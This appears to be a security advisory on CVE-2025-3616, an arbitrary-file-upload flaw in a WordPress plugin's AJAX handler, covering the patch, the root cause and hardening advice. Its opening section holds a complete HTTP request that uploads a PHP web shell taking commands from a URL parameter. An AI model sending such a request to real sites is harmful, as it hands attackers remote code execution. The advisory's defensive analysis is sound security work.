The Exploit
An attacker with Subscriber-level access or higher can upload arbitrary files by sending a direct API request to the vulnerable gspb_make_proxy_api_request() function without any file type validation.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----FormBoundary
------FormBoundary
Content-Disposition: form-data; name="action"
gspb_make_proxy_api_request
------FormBoundary
Content-Disposition: form-data; name="type"
media_upload
------FormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------FormBoundary--
The attacker observes a 200 response with the uploaded file path in the JSON response body, confirming the PHP shell has been written to the WordPress upload directory. The shell is immediately executable, granting remote code execution at the web server process privilege level.
What the Patch Did
Before
} else if($type === 'media_upload'){
// Verify if file was uploaded
if (empty($_FILES['file'])) {
return new WP_Error('no_file', 'No file was uploaded', array('status' => 400));
After
} else if($type === 'media_upload'){
// Check if user is logged in
if (!is_user_logged_in()) {
return new WP_Error('unauthorized', 'User must be logged in to upload files', array('status' => 401));
}
// Check if user has upload capabilities
if (!current_user_can('upload_files')) {
return new WP_Error('forbidden', 'User does not have permission to upload files', array('status' => 403));
}
// Verify if file was uploaded
if (empty($_FILES['file'])) {
return new WP_Error('no_file', 'No file was uploaded', array('status' => 400));
The patch adds two mandatory authorization checks using WordPress capability APIs: is_user_logged_in() to verify authentication, and current_user_can('upload_files') to enforce role-based access control. These checks execute before any file handling logic, preventing unauthenticated and unprivileged users from reaching the vulnerable upload sink. The second check is the critical load-bearing control—it restricts the capability to roles with explicit upload_files permission (Editor, Administrator, and custom roles), while the first is a defensive layer that short-circuits obvious unauthenticated requests.
Root Cause
CWE-284: Improper Access Control
The vulnerability stems from missing authentication and authorization checks in the gspb_make_proxy_api_request() AJAX handler. When the type parameter equals media_upload, the function directly processes the $_FILES['file'] superglobal without verifying that the requesting user possesses the upload_files capability. This allows any logged-in user—including Subscribers, who have no file management permissions in standard WordPress—to invoke the upload sink. The trust boundary crosses at the AJAX entry point: the handler assumes that reaching the handler equals authorization to upload, when in fact WordPress role-based access control had not been consulted.
Why It Works
The load-bearing line is if (!current_user_can('upload_files')). Removing it while keeping is_user_logged_in() leaves the bug open: a Subscriber (logged in but without the upload_files capability) can still upload arbitrary files. The is_user_logged_in() check is valuable as a first-line defence and prevents completely unauthenticated requests, but does not enforce granular role separation—WordPress sites may have Subscribers, Contributors, Authors, and Editors with varying permissions. The engineer added both checks because authentication (user exists) and authorization (user has permission for this action) are distinct controls; a security boundary requires both. Layering them follows defence-in-depth: if one check is accidentally removed or bypassed in a future refactor, the other still stands.
Hardening Checklist
-
Use
current_user_can()for every AJAX handler that modifies site state. Call it early, before any business logic. Pair it with a capability meaningful to the action—upload_filesfor uploads,manage_optionsfor settings,edit_postsfor content. -
Never trust
$_FILESwithout validating MIME type server-side. Usewp_check_filetype()orwp_get_image_mime()to verify the file's actual content against a whitelist, not just the client-supplied extension or Content-Type header. -
Implement a nonce check (
wp_verify_nonce()) on custom AJAX endpoints. Even with capability checks, CSRF protection viawp_nonce_field()+check_ajax_referer()prevents attackers from tricking an authenticated user into triggering the request cross-site. -
Confine uploaded files to a safe directory with
.htaccessor web server rules preventing script execution. WordPress upload directories should haveAddType text/plain .php .phtml .php3 .php4 .php5to neutered uploaded PHP files, or a blanket deny on script execution via web server config. -
Log capability checks and file uploads. When
current_user_can()returns false, record the user ID, requested capability, and timestamp. This audit trail surfaces privilege-escalation attempts during incident response.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-3616